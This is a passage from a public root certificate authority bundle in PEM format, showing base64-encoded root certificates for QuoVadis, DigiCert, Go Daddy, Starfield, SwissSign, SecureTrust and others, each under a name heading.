BQUHAgEWIWh0dHA6Ly93d3cucXVvdmFkaXNnbG9iYWwuY29tL2NwczALBgNVHQ8EBAMCAQYwHQYD VR0OBBYEFPLAE+CCQz777i9nMpY1XNu4ywLQMG4GA1UdIwRnMGWAFPLAE+CCQz777i9nMpY1XNu4 ywLQoUmkRzBFMQswCQYDVQQGEwJCTTEZMBcGA1UEChMQUXVvVmFkaXMgTGltaXRlZDEbMBkGA1UE AxMSUXVvVmFkaXMgUm9vdCBDQSAzggIFxjANBgkqhkiG9w0BAQUFAAOCAgEAT62gLEz6wPJv92ZV qyM07ucp2sNbtrCD2dDQ4iH782CnO11gUyeim/YIIirnv6By5ZwkajGxkHon24QRiSemd1o417+s hvzuXYO8BsbRd2sPbSQvS3pspweWyuOEn62Iix2rFo1bZhfZFvSLgNLd+LJ2w/w4E6oM3kJpK27z POuAJ9v1pkQNn1pVWQvVDVJIxa6f8i+AxeoyUDUSly7B4f/xI4hROJ/yZlZ25w9Rl6VSDE1JUZU2 Pb+iSwwQHYaZTKrzchGT5Or2m9qoXadNt54CrnMAyNojA+j56hl0YgCUyyIgvpSnWbWCar6ZeXqp 8kokUvd0/bpO5qgdAm6xDYBEwa7TIzdfu4V8K5Iu6H6li92Z4b8nby1dqnuH/grdS/yO9SbkbnBC bjPsMZ57k8HkyWkaPcBrTiJt7qtYTcbQQcEr6k8Sh17rRdhs9ZgC06DYVYoGmRmioHfRMJ6szHXu g/WwYjnPbFfiTNKRCw51KBuav/0aQ/HKd/s7j2G4aSgWQgRecCocIdiP4b0jWy10QJLZYxkNc91p vGJHvOB0K7Lrfb5BG7XARsWhIstfTsEokt4YutUqKLsRixeTmJlglFwjz1onl14LBQaTNx47aTbr qZ5hHY8y2o4M1nQ+ewkk2gF3R8Q7zTSMmfXK4SVhM7JZG+Ju1zdXtg2pEto= -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf 